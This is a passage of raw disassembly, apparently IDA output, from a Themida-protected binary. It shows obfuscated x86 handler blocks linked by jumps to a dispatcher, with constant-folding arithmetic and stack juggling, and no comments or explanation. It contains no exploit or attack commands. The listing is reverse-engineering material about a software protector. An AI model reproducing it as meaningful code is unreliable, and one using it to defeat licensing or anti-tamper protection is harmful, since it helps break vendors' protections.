al, 35h push small 2ACCh mov [esp], dx sub esp, 4 mov [esp], eax jmp loc_54B501 ; --------------------------------------------------------------------------- loc_545C04: ; CODE XREF: Themida_:00547806j xor esi, ebp pop ebp or edx, esi pop esi push eax jmp loc_54E6D6 ; --------------------------------------------------------------------------- loc_545C10: ; CODE XREF: Themida_:0054F91Bj pop esi sub ebx, 4CA3339Bh push eax mov eax, 2A53291Bh add ebx, eax mov eax, [esp] add esp, 4 add ebx, eax sub ebx, 2A53291Bh jmp loc_546EDC ; --------------------------------------------------------------------------- loc_545C35: ; CODE XREF: Themida_:005480E3j push ebp mov ebp, 9B146D6h xor ebp, 30A551E7h add ebp, 0FFFFFFFFh neg ebp neg ebp shl ebp, 8 push esi mov esi, 8100BDAh add ebp, 15313226h add ebp, esi sub ebp, 15313226h mov esi, [esp] push esi mov esi, esp add esi, 4 push ecx mov ecx, 323F760Eh dec ecx jmp loc_5474CD ; --------------------------------------------------------------------------- word_545C7A dw 2489h ; CODE XREF: Themida_:0054FF25j ; --------------------------------------------------------------------------- and al, 83h add al, 24h add al, 5Dh add ebp, 4 push 1AEDh jmp loc_550031 ; --------------------------------------------------------------------------- loc_545C92: ; CODE XREF: Themida_:0054747Fj mov edx, [esp] add esp, 4 sub edi, 12B612A0h and eax, edi mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_54EDE8 ; --------------------------------------------------------------------------- loc_545CC1: ; CODE XREF: Themida_:00546371j xchg eax, [esp] mov esp, [esp] dec dword ptr [esp] pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_545CD0: ; CODE XREF: Themida_:0054B494j mov ebx, 25EE7A8Ch add ebx, 14D5E8CCh sub edx, ebx pop ebx pop ebx sub edx, 2 push 6416h mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_545BC7 ; --------------------------------------------------------------------------- loc_545D06: ; CODE XREF: Themida_:0054A109j xor ebx, [esp] pop esp mov cx, [esp] jmp loc_54D984 ; --------------------------------------------------------------------------- loc_545D13: ; CODE XREF: Themida_:0054E271j xor edi, 2846541Ch add ecx, edi mov edi, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] jmp loc_548410 ; --------------------------------------------------------------------------- loc_545D2F: ; CODE XREF: Themida_:0054AF99j pop edx sub ecx, 1 sub esp, 4 mov [esp], edi jmp loc_54817B ; --------------------------------------------------------------------------- loc_545D41: ; CODE XREF: Themida_:0054EE5Dj mov ebp, 5DCB539Bh inc ebp not ebp not ebp add ebp, 56EC5B5Fh sub ebp, 0B4B7AEF7h jmp loc_54FD5A ; --------------------------------------------------------------------------- loc_545D5C: ; CODE XREF: Themida_:005491C8j push cx pop si pop cx push bp push si mov bp, [esp] add esp, 2 pop si push esi jmp loc_54E8B3 ; --------------------------------------------------------------------------- loc_545D78: ; CODE XREF: Themida_:00548B68j pop edi jmp loc_54F94B ; --------------------------------------------------------------------------- loc_545D7E: ; CODE XREF: Themida_:005486D1j mov bh, 66h sub al, bh pop ebx push ecx jmp loc_546D22 ; --------------------------------------------------------------------------- loc_545D89: ; CODE XREF: Themida_:0054A851j add esp, 4 sub dword ptr [esp], 2667723Ah add dword ptr [esp], 530C57EEh sub [esp], eax sub esp, 4 jmp loc_5460CA ; --------------------------------------------------------------------------- loc_545DAB: ; CODE XREF: Themida_:0054A272j pop ecx mov ebx, [esp] add esp, 4 add esi, ecx pop ecx add esi, 2 xchg esi, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_545DC9: ; CODE XREF: Themida_:00544AC0j push ecx mov ecx, 2 add esi, ecx pop ecx push ebp mov ebp, esp jmp loc_54D657 ; --------------------------------------------------------------------------- loc_545DDA: ; CODE XREF: Themida_:005445E5j sub edx, 63567BAEh add edx, ebx jmp loc_54B7B9 ; --------------------------------------------------------------------------- loc_545DE7: ; CODE XREF: Themida_:0054F946j sub dl, 96h xor ch, dl jmp loc_544222 ; --------------------------------------------------------------------------- loc_545DF1: ; CODE XREF: Themida_:00544F27j sub esp, 4 mov [esp], esi jmp loc_54A17A ; --------------------------------------------------------------------------- loc_545DFF: ; CODE XREF: Themida_:0054B664j shr ecx, 6 push edx mov edx, 3DDDD7B7h xor ecx, edx jmp loc_546A6C ; --------------------------------------------------------------------------- loc_545E0F: ; CODE XREF: Themida_:005498A4j mov edx, esp add edx, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 add edx, ebp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg edx, [esp] pop esp jmp loc_544022 ; --------------------------------------------------------------------------- loc_545E43: ; CODE XREF: Themida_:00549EC5j add esp, 4 or eax, eax jmp loc_549648 ; --------------------------------------------------------------------------- loc_545E50: ; CODE XREF: Themida_:005468D2j mov ecx, 13EF091Dh mov eax, 13EF0919h xor eax, ecx pop ecx add ecx, 5891135h add ecx, eax sub ecx, 5891135h jmp loc_547769 ; --------------------------------------------------------------------------- loc_545E70: ; CODE XREF: Themida_:0054DBD2j push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], esi jmp loc_549518 ; --------------------------------------------------------------------------- loc_545E85: ; CODE XREF: Themida_:00544438j pop esi xchg ebx, [esp] pop esp sub esp, 4 mov [esp], edx push ecx mov ecx, 62FA6E1Eh jmp loc_549A44 ; --------------------------------------------------------------------------- loc_545E9B: ; CODE XREF: Themida_:00545B3Aj add esi, ebx pop ebx push 4678h mov [esp], eax mov eax, 0FFFFFFFFh jmp loc_54AD39 ; --------------------------------------------------------------------------- loc_545EB0: ; CODE XREF: Themida_:0054D549j shr ecx, 6 push ebx mov ebx, 53E8AECBh xor ecx, ebx pop ebx mov edi, ecx pop ecx push esi mov esi, 7EE875C9h jmp loc_54933C ; --------------------------------------------------------------------------- loc_545ECA: ; CODE XREF: Themida_:0054EB54j add ebp, 4 jmp loc_548EC8 ; --------------------------------------------------------------------------- mov ax, [esp] push eax mov eax, esp push 7489h mov [esp], ebp mov ebp, 4 add eax, 0F8769FEh sub eax, 16DF1892h add eax, ebp jmp loc_5443FE ; --------------------------------------------------------------------------- loc_545EFA: ; CODE XREF: Themida_:0054625Cj pop eax sub edi, 11A01647h push esi jmp loc_5480E8 ; --------------------------------------------------------------------------- loc_545F07: ; CODE XREF: Themida_:005497EFj mov edx, esp jmp loc_548ABA ; --------------------------------------------------------------------------- loc_545F0E: ; CODE XREF: Themida_:0054AAFFj sub edx, ecx mov ecx, [esp] add esp, 4 push edi jmp loc_54C3F0 ; --------------------------------------------------------------------------- loc_545F1C: ; CODE XREF: Themida_:0054AD97j xor eax, [esp] pop esp mov cx, [esp] jmp loc_548390 ; --------------------------------------------------------------------------- loc_545F29: ; CODE XREF: Themida_:0054CDA1j push ebp jmp loc_545727 ; --------------------------------------------------------------------------- loc_545F2F: ; CODE XREF: Themida_:0054CBC3j pop edx pop ebx mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp shr cx, 3 add cx, 34FDh xor cx, 0F432h xor ax, cx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebp mov bp, 5B36h jmp loc_545052 ; --------------------------------------------------------------------------- loc_545F79: ; CODE XREF: Themida_:00547C3Bj mov ebp, ebx push 4EC0h mov [esp], ebp mov eax, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_54DB00 ; --------------------------------------------------------------------------- loc_545FA9: ; CODE XREF: Themida_:0054E5CBj pop edx jmp loc_54CF04 ; --------------------------------------------------------------------------- loc_545FAF: ; CODE XREF: Themida_:0054D638j push esi mov esi, 9407B2Bh push 3CA0h mov [esp], ebx mov ebx, 47D622ADh or ebx, 74084694h sub ebx, 141114D2h not ebx sub ebx, 1 push esi mov esi, 4D4943BBh jmp loc_548DD5 ; --------------------------------------------------------------------------- loc_545FDE: ; CODE XREF: Themida_:00547CB5j push eax jmp loc_548F3F ; --------------------------------------------------------------------------- loc_545FE4: ; CODE XREF: Themida_:0054AB0Dj mov ah, 9 mov bl, 40h xor bl, ah pop eax add cl, bl mov ebx, [esp] add esp, 4 add al, 9 jmp loc_546468 ; --------------------------------------------------------------------------- loc_545FFD: ; CODE XREF: Themida_:0054A710j pop ebx jmp loc_54D08B ; --------------------------------------------------------------------------- loc_546003: ; CODE XREF: Themida_:0054E85Cj mov ebx, [esp] jmp loc_54CB67 ; --------------------------------------------------------------------------- loc_54600B: ; CODE XREF: Themida_:0054CD66j pop eax mov edi, [esp] add esp, 4 jmp loc_54DF83 ; --------------------------------------------------------------------------- loc_546017: ; CODE XREF: Themida_:00547A5Dj mov [esp], ecx push 2 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push 0FD2h mov [esp], eax push ebp push 687F1463h pop ebp shr ebp, 1 inc ebp add ebp, 60E7CD8h xor ebp, 3A4E070Eh mov eax, ebp pop ebp jmp loc_544203 ; --------------------------------------------------------------------------- loc_546059: ; CODE XREF: Themida_:0054F015j sub eax, 0F971E98h push ecx mov ecx, 4D502888h or ecx, 40E5E0Dh shr ecx, 7 add ecx, 6A54B92Ah add eax, ecx pop ecx pop ecx add eax, 2 jmp loc_54FE49 ; --------------------------------------------------------------------------- loc_54607F: ; CODE XREF: Themida_:0054CA06j pop eax sub edi, 4 jmp loc_54D3FE ; --------------------------------------------------------------------------- mov cx, [esp] push edi push esp pop edi jmp loc_549689 ; --------------------------------------------------------------------------- loc_546094: ; CODE XREF: Themida_:005470D4j sub ecx, 7FB22AB4h xor ebp, ecx pop ecx shl ebp, 4 not ebp jmp loc_54D22B ; --------------------------------------------------------------------------- loc_5460A7: ; CODE XREF: Themida_:0054511Ej add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_54BF8D ; --------------------------------------------------------------------------- loc_5460CA: ; CODE XREF: Themida_:00545DA6j mov [esp], ebx mov ebx, 26625951h add ebx, 365F2945h and ebx, 0B1C1944h not ebx sub ebx, 25BC4B13h xor ebx, 814FE306h sub [esp+4], ebx mov ebx, [esp] add esp, 4 push 2E69h mov [esp], ebp jmp loc_5489B4 ; --------------------------------------------------------------------------- loc_546103: ; CODE XREF: Themida_:005441FEj mov ecx, 6FF541A0h not ecx not ecx neg ecx xor ecx, 0DF508EC3h jmp loc_54F8E2 ; --------------------------------------------------------------------------- lodsw add ax, 71DBh push esi mov si, 2751h inc si xor si, 3389h sub si, 2285h xor si, 0A6CEh add ax, si pop esi add ax, 5C1Dh add ax, bx jmp loc_549B06 ; --------------------------------------------------------------------------- loc_546145: ; CODE XREF: Themida_:00547AFEj mov esi, 4A918D08h xor edx, esi pop esi add ebx, edx pop edx mov edi, ebx mov ebx, [esp] add esp, 4 jmp loc_547C10 ; --------------------------------------------------------------------------- loc_54615D: ; CODE XREF: Themida_:0054F38Dj mov [esp], ecx mov ecx, 4 sub ebx, 4BE65EC2h add ebx, ecx add ebx, 4BE65EC2h pop ecx add ebx, 4 xchg ebx, [esp] jmp loc_54FE80 ; --------------------------------------------------------------------------- loc_546182: ; CODE XREF: Themida_:00547B28j push 4 jmp loc_546F50 ; --------------------------------------------------------------------------- loc_54618C: ; CODE XREF: Themida_:00546FF9j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp jmp loc_54B0A4 ; --------------------------------------------------------------------------- loc_5461A1: ; CODE XREF: Themida_:0054E82Ej pop ecx add eax, edi sub eax, 1CB270F3h jmp loc_549A6A ; --------------------------------------------------------------------------- loc_5461AE: ; CODE XREF: Themida_:0054F859j push ebx mov bh, ah jmp loc_54C538 ; --------------------------------------------------------------------------- loc_5461B6: ; CODE XREF: Themida_:0054CE71j mov ax, [esp] push ecx push 0D57h sub esp, 4 jmp loc_54F64F ; --------------------------------------------------------------------------- loc_5461C8: ; CODE XREF: Themida_:0054F4CDj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] and eax, edx jmp loc_54BE19 ; --------------------------------------------------------------------------- loc_5461E3: ; CODE XREF: Themida_:0054F30Dj add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5492D7 ; --------------------------------------------------------------------------- loc_5461F6: ; CODE XREF: Themida_:0054B2AFj add edx, 4C7F305Dh jmp loc_549B87 ; --------------------------------------------------------------------------- loc_546201: ; CODE XREF: Themida_:0054F97Dj mov eax, 61434940h sub ecx, eax mov eax, [esp] jmp loc_547DF1 ; --------------------------------------------------------------------------- loc_546210: ; CODE XREF: Themida_:0054FE86j xchg eax, esi push esi push 273Dh mov [esp], ebp mov ebp, 5E4513DEh add ebp, 67C0096Dh jmp loc_546655 ; --------------------------------------------------------------------------- loc_54622A: ; CODE XREF: Themida_:0054C4ACj mov eax, [esp] jmp loc_5464C1 ; --------------------------------------------------------------------------- loc_546232: ; CODE XREF: Themida_:0054B69Aj mov eax, [esp] add esp, 4 xor eax, 5ED05F50h push dword ptr [esp] pop ecx push esi mov esi, esp push eax mov eax, 4 jmp loc_54A20C ; --------------------------------------------------------------------------- loc_54624F: ; CODE XREF: Themida_:005452D6j push eax mov eax, 4B3213F3h sub eax, 0CC3EE9D8h mov edi, eax jmp loc_545EFA ; --------------------------------------------------------------------------- loc_546261: ; CODE XREF: Themida_:00546F82j xor eax, ecx sub esp, 4 mov [esp], eax jmp loc_5475A8 ; --------------------------------------------------------------------------- loc_546271: ; CODE XREF: Themida_:005442E1j push dword ptr [esp] jmp loc_54BD8F ; --------------------------------------------------------------------------- loc_546279: ; CODE XREF: Themida_:0054632Cj push dword ptr [eax] pop ecx jmp loc_550090 ; --------------------------------------------------------------------------- loc_546281: ; CODE XREF: Themida_:005498BDj pop edi jmp loc_54D54E ; --------------------------------------------------------------------------- loc_546287: ; CODE XREF: Themida_:0054C789j pop edi pop eax jmp loc_54C845 ; --------------------------------------------------------------------------- loc_54628E: ; CODE XREF: Themida_:0054FA49j sub esi, ebp pop ebp xchg esi, [esp] mov esp, [esp] mov [esp], ebx push esi pop ebx push ebx pop edi pop ebx jmp loc_54E4F4 ; --------------------------------------------------------------------------- loc_5462A4: ; CODE XREF: Themida_:0054A23Fj push eax push esp pop eax push 6936h mov [esp], ecx mov ecx, 4 push edx mov edx, 171013FEh dec edx shl edx, 7 shl edx, 8 neg edx sub edx, 59E04B14h sub edx, 3131BEC5h add eax, 4DCC3CA1h sub eax, edx push ebp mov ebp, 4DCC3CA1h sub eax, ebp pop ebp pop edx jmp loc_54F00E ; --------------------------------------------------------------------------- loc_5462E5: ; CODE XREF: Themida_:0054561Fj mov [esp], ecx jmp loc_54B3EC ; --------------------------------------------------------------------------- mov cx, [esp] push 2F5Bh mov [esp], ecx sub esp, 4 mov [esp], esp push ebp mov ebp, 4 jmp loc_549935 ; --------------------------------------------------------------------------- loc_54630A: ; CODE XREF: Themida_:00546C6Aj mov [esp], ebx jmp loc_54866B ; --------------------------------------------------------------------------- loc_546312: ; CODE XREF: Themida_:00544043j inc edx jmp loc_54E724 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], esi push esp jmp loc_5464BB ; --------------------------------------------------------------------------- loc_54632B: ; CODE XREF: Themida_:0054E168j pop edi jmp loc_546279 ; --------------------------------------------------------------------------- loc_546331: ; CODE XREF: Themida_:00546546j jmp loc_544022 ; --------------------------------------------------------------------------- loc_546336: ; CODE XREF: Themida_:0054BFD7j xchg ebx, [esp] pop esp push edi push 800000h jmp loc_54E18C ; --------------------------------------------------------------------------- loc_546345: ; CODE XREF: Themida_:0054D390j add ebx, ebp sub ebx, 3602F82h mov ebp, [esp] add esp, 4 jmp loc_544022 ; --------------------------------------------------------------------------- loc_54635B: ; CODE XREF: Themida_:00548BBFj pop ebx add eax, ebp add eax, 6AA1197h pop ebp push edx push ebp mov ebp, 4 mov edx, ebp pop ebp add eax, edx pop edx jmp loc_545CC1 ; --------------------------------------------------------------------------- loc_546376: ; CODE XREF: Themida_:0054994Aj add [esp+4], esi push ebx mov ebx, 250A3EEFh add [esp+8], ebx jmp loc_549BA9 ; --------------------------------------------------------------------------- loc_546389: ; CODE XREF: Themida_:0054A00Aj mov edx, [esp] add esp, 4 push cx jmp loc_546C6F ; --------------------------------------------------------------------------- loc_546396: ; CODE XREF: Themida_:00546EA3j ; Themida_:00548BF6j push 86Dh mov [esp], ecx mov ecx, ebx push edx jmp loc_546BFB ; --------------------------------------------------------------------------- loc_5463A6: ; CODE XREF: Themida_:0054853Aj pop esp push 5E5h jmp loc_54879C ; --------------------------------------------------------------------------- loc_5463B1: ; CODE XREF: Themida_:0054982Dj sub [esp+4], ebx mov ebx, [esp] add esp, 4 push ebp mov ebp, 19AE2CEFh add [esp+4], ebp push dword ptr [esp] jmp loc_54DEF8 ; --------------------------------------------------------------------------- lodsb add al, 0A3h sub al, 33h add al, bl push edx jmp loc_547633 ; --------------------------------------------------------------------------- loc_5463DD: ; CODE XREF: Themida_:0054C104j xor al, 5Ch sub bl, 3Bh add bl, al add bl, 3Bh jmp loc_54A63C ; --------------------------------------------------------------------------- loc_5463EC: ; CODE XREF: Themida_:00549EABj sub ebp, 8BA6A225h add ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx push ecx jmp loc_548018 ; --------------------------------------------------------------------------- loc_54640A: ; CODE XREF: Themida_:0054C86Aj push esp pop edi push esi jmp loc_5499DD ; --------------------------------------------------------------------------- loc_546412: ; CODE XREF: Themida_:0054658Fj sub ebx, 67B46CB1h add ebx, ecx jmp loc_54837F ; --------------------------------------------------------------------------- loc_54641F: ; CODE XREF: Themida_:00549C11j pop eax jmp loc_54AEC7 ; --------------------------------------------------------------------------- loc_546425: ; CODE XREF: Themida_:0054BAAAj xor edx, 44206C8h sub esi, edx pop edx add eax, 43D2238Bh add eax, esi sub eax, 43D2238Bh mov esi, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_549666 ; --------------------------------------------------------------------------- loc_546457: ; CODE XREF: Themida_:005483C8j mov ebp, [esp] add esp, 4 mov ebx, [esp] jmp loc_54CFAA ; --------------------------------------------------------------------------- loc_546468: ; CODE XREF: Themida_:00545FF8j sub al, 10h sub al, cl add al, 10h push edx jmp loc_54549F ; --------------------------------------------------------------------------- loc_546474: ; CODE XREF: Themida_:005492BDj push eax mov eax, 1E697C8Bh add eax, 668E70A5h jmp loc_54A2B3 ; --------------------------------------------------------------------------- loc_546484: ; CODE XREF: Themida_:00544428j mov bl, dl jmp loc_54A904 ; --------------------------------------------------------------------------- loc_54648B: ; CODE XREF: Themida_:00544982j add eax, ebp pop ebp add eax, 39280DA5h jmp loc_54E977 ; --------------------------------------------------------------------------- loc_546498: ; CODE XREF: Themida_:0054B63Ej pop edi jmp loc_54AAC9 ; --------------------------------------------------------------------------- loc_54649E: ; CODE XREF: Themida_:0054A0C1j sub al, bl push ebx mov bl, 4 dec bl dec bl jmp loc_546F60 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5464BB: ; CODE XREF: Themida_:00546326j pop esi jmp loc_54F0EE ; --------------------------------------------------------------------------- loc_5464C1: ; CODE XREF: Themida_:0054622Dj push 2DFh jmp loc_54EEC4 ; --------------------------------------------------------------------------- loc_5464CB: ; CODE XREF: Themida_:0054CD82j xchg eax, [esp] pop esp jmp loc_548B38 ; --------------------------------------------------------------------------- loc_5464D4: ; CODE XREF: Themida_:00547CAEj cmp ecx, eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- push ebp push 0FEh pop ebp and [edi+1Ch], ebp push dword ptr [esp] pop ebp jmp loc_54965E ; --------------------------------------------------------------------------- loc_5464EF: ; CODE XREF: Themida_:0054A134j pop ecx jmp loc_54E938 ; --------------------------------------------------------------------------- loc_5464F5: ; CODE XREF: Themida_:00549381j push eax sub esp, 4 jmp loc_548FBD ; --------------------------------------------------------------------------- loc_546501: ; CODE XREF: Themida_:0054F757j sub al, 65h mov dx, [esp] add esp, 2 jmp loc_54A402 ; --------------------------------------------------------------------------- loc_54650F: ; CODE XREF: Themida_:00548D9Fj inc cl push ebx mov bl, 0C4h or bl, 93h or bl, 57h jmp loc_54DA91 ; --------------------------------------------------------------------------- loc_54651F: ; CODE XREF: Themida_:0054B50Cj mov bh, 0B8h jmp loc_54939E ; --------------------------------------------------------------------------- loc_546526: ; CODE XREF: Themida_:0054938Ej sub ecx, 4FE2407Ah jmp loc_54A918 ; --------------------------------------------------------------------------- loc_546531: ; CODE XREF: Themida_:0054EAC5j shl ebp, 2 jmp loc_544414 ; --------------------------------------------------------------------------- loc_546539: ; CODE XREF: Themida_:0054FAC1j xor si, bp jmp loc_549121 ; --------------------------------------------------------------------------- loc_546541: ; CODE XREF: Themida_:0054D7CCj add [esp], ax pushf jmp loc_546331 ; --------------------------------------------------------------------------- loc_54654B: ; CODE XREF: Themida_:00547472j push esi mov esi, 1BEB2D57h xor esi, 3857C6h dec esi push ebp jmp loc_54BBB1 ; --------------------------------------------------------------------------- loc_54655E: ; CODE XREF: Themida_:0054F58Cj mov esi, ebx push ebx jmp loc_5483B3 ; --------------------------------------------------------------------------- loc_546566: ; CODE XREF: Themida_:0054FDBAj add esp, 4 not edi xchg edi, ebx xor ecx, ebx jmp loc_54F190 ; --------------------------------------------------------------------------- loc_546574: ; CODE XREF: Themida_:0054E5EAj pop esp jmp loc_54556B ; --------------------------------------------------------------------------- loc_54657A: ; CODE XREF: Themida_:005496DEj xchg edi, edx neg edx inc edx shl edx, 5 push ecx mov ecx, 6BF746Dh push edx jmp loc_54D3E1 ; --------------------------------------------------------------------------- loc_54658E: ; CODE XREF: Themida_:0054A2C9j pop ecx jmp loc_546412 ; --------------------------------------------------------------------------- loc_546594: ; CODE XREF: Themida_:0054CFE5j push 7A00h mov [esp], ebp jmp loc_54FBCB ; --------------------------------------------------------------------------- loc_5465A1: ; CODE XREF: Themida_:0054989Bj xor edx, 63DD3AE9h add esi, 66587CF3h jmp loc_54DBFD ; --------------------------------------------------------------------------- loc_5465B2: ; CODE XREF: Themida_:00547E0Dj add edi, 4396E663h or edx, edi mov edi, [esp] add esp, 4 and edx, 20562E34h or edx, 375A218Fh add edx, 0C8A1D275h jmp loc_54BCAC ; --------------------------------------------------------------------------- loc_5465DA: ; CODE XREF: Themida_:0054DD7Cj push 18CDh mov [esp], ebp push esp pop ebp push eax mov eax, 3B483830h jmp loc_54BECF ; --------------------------------------------------------------------------- loc_5465EF: ; CODE XREF: Themida_:00549DC2j mov ebx, 2A16E21Eh xor esi, ebx pop ebx mov eax, esi mov esi, [esp] add esp, 4 add edi, eax pop eax push ecx jmp loc_5454D7 ; --------------------------------------------------------------------------- loc_54660B: ; CODE XREF: Themida_:0054896Bj pop edx pop edi jmp loc_545A30 ; --------------------------------------------------------------------------- loc_546612: ; CODE XREF: Themida_:0054E8AEj push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 push 50A4h mov [esp], ebp mov ebp, 133F539Eh dec ebp add ebp, 0ECC0AC67h add ecx, 42811279h add ecx, ebp sub ecx, 42811279h mov ebp, [esp] jmp loc_54F46E ; --------------------------------------------------------------------------- loc_54664C: ; CODE XREF: Themida_:00547B19j push small 5BDCh jmp loc_54AAE9 ; --------------------------------------------------------------------------- loc_546655: ; CODE XREF: Themida_:00546225j shr ebp, 4 jmp loc_54F9F1 ; --------------------------------------------------------------------------- loc_54665D: ; CODE XREF: Themida_:0054B604j sub edx, 4 xchg edx, [esp] pop esp jmp loc_54BDEB ; --------------------------------------------------------------------------- loc_546669: ; CODE XREF: Themida_:0054592Aj sub ebx, 49A871E8h push eax jmp loc_54E0F6 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54667D: ; CODE XREF: Themida_:0054AD0Ej push edi push ebp mov ebp, 2 mov edi, ebp pop ebp add ecx, edi pop edi push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_54966E ; --------------------------------------------------------------------------- loc_546699: ; CODE XREF: Themida_:00546D4Cj pop esi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] shr eax, 10h jmp loc_545827 ; --------------------------------------------------------------------------- loc_5466B4: ; CODE XREF: Themida_:0054A799j shl eax, 8 push ebp mov ebp, 74300597h shl ebp, 2 xor ebp, 45D02CF0h add ebp, 623A3741h jmp loc_5444F2 ; --------------------------------------------------------------------------- mov ax, [esp] push 5B4Dh mov [esp], ebx push esp mov ebx, [esp] jmp loc_54EE06 ; --------------------------------------------------------------------------- loc_5466E6: ; CODE XREF: Themida_:0054A63Dj sub bl, 0ADh push ecx push eax mov al, bl mov cl, al jmp loc_54A9A7 ; --------------------------------------------------------------------------- loc_5466F4: ; CODE XREF: Themida_:0054C9CEj mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor [esp+4], esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov eax, [esp] add esp, 4 xor eax, 1650194Eh jmp loc_54BD45 ; --------------------------------------------------------------------------- loc_546731: ; CODE XREF: Themida_:0054574Dj add esp, 4 pop dword ptr [esp] mov esp, [esp] movzx cx, al push small 5A1Dh mov [esp], cx jmp loc_544022 ; --------------------------------------------------------------------------- loc_54674E: ; CODE XREF: Themida_:00544AC6j mov ebx, esp push 4CFEh jmp loc_54A2C1 ; --------------------------------------------------------------------------- loc_54675A: ; CODE XREF: Themida_:0054AC93j push ebp mov ebp, 55DD0E93h jmp loc_54C7FC ; --------------------------------------------------------------------------- loc_546765: ; CODE XREF: Themida_:0054B0F6j dec edx push ebx mov ebx, 1599746Ch shr ebx, 1 shl ebx, 1 inc ebx or ebx, 60C07503h xor ebx, 55D03C04h jmp loc_544A9F ; --------------------------------------------------------------------------- loc_546782: ; CODE XREF: Themida_:0054C096j pop edx add esp, 4 push 778Dh mov [esp], ebp push esp pop ebp add ebp, 4 sub esp, 4 mov [esp], eax mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] div ecx push 6D26h mov [esp], edx push eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_54816E ; --------------------------------------------------------------------------- loc_5467D4: ; CODE XREF: Themida_:005453A9j mov [esp], ebx push esi mov esi, 1F9E5817h jmp loc_54B2D7 ; --------------------------------------------------------------------------- loc_5467E2: ; CODE XREF: Themida_:0054FFFEj mov edx, 264E37DBh mov esi, 0D9B1C825h jmp loc_54D8C5 ; --------------------------------------------------------------------------- loc_5467F1: ; CODE XREF: Themida_:0054F680j push ecx mov ecx, 249822D9h mov edi, 825673A4h sub edi, ecx pop ecx add edi, 16E71DCEh inc edi not edi jmp loc_54795B ; --------------------------------------------------------------------------- loc_54680D: ; CODE XREF: Themida_:005476DCj mov esi, 294E15F3h or edi, esi pop esi sub edi, 3D7E7DF1h add ebx, edi mov edi, [esp] jmp loc_54EA08 ; --------------------------------------------------------------------------- loc_546825: ; CODE XREF: Themida_:0054D9B5j pop esi and eax, edi jmp loc_54C21C ; --------------------------------------------------------------------------- loc_54682D: ; CODE XREF: Themida_:0054709Aj or bl, 5Eh jmp loc_547303 ; --------------------------------------------------------------------------- loc_546835: ; CODE XREF: Themida_:005491ADj add edi, 6E55D04h add edi, 4CB2056Ah add edi, 2B385413h add edi, 0A0A1E68h jmp loc_54849E ; --------------------------------------------------------------------------- loc_546852: ; CODE XREF: Themida_:00544E7Bj mov ebp, eax jmp loc_54CAE1 ; --------------------------------------------------------------------------- loc_546859: ; CODE XREF: Themida_:0054D374j push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] push eax mov eax, esp add eax, 4 jmp loc_54A08A ; --------------------------------------------------------------------------- loc_546874: ; CODE XREF: Themida_:00548D83j push 6789h mov [esp], edx mov dl, 0B5h jmp loc_545228 ; --------------------------------------------------------------------------- loc_546883: ; CODE XREF: Themida_:0054BB53j add eax, 7B154BEAh mov ecx, [esp] add esp, 4 jmp loc_54B2E4 ; --------------------------------------------------------------------------- loc_546896: ; CODE XREF: Themida_:0054AB84j pop ecx jmp loc_54A8A8 ; --------------------------------------------------------------------------- loc_54689C: ; CODE XREF: Themida_:0054F44Fj and edi, 59495BC6h push 0 jmp loc_54F173 ; --------------------------------------------------------------------------- loc_5468AC: ; CODE XREF: Themida_:0054D97Fj add edi, 2 xchg edi, [esp] pop esp shr word ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_5468C0: ; CODE XREF: Themida_:0054FF9Aj sub edi, 0FFFFFFFFh inc edi add edi, 0FAF7FB9Dh add ecx, edi pop edi push eax push ecx jmp loc_545E50 ; --------------------------------------------------------------------------- loc_5468D7: ; CODE XREF: Themida_:0054DFC5j pop eax push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_54EEE2 ; --------------------------------------------------------------------------- loc_5468E9: ; CODE XREF: Themida_:0054C3E2j sub esi, 6407Eh add edx, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_5455DF ; --------------------------------------------------------------------------- loc_5468FD: ; CODE XREF: Themida_:0054B39Fj sub cl, 0B9h add cl, 55h mov dl, cl pop ecx add bl, dl 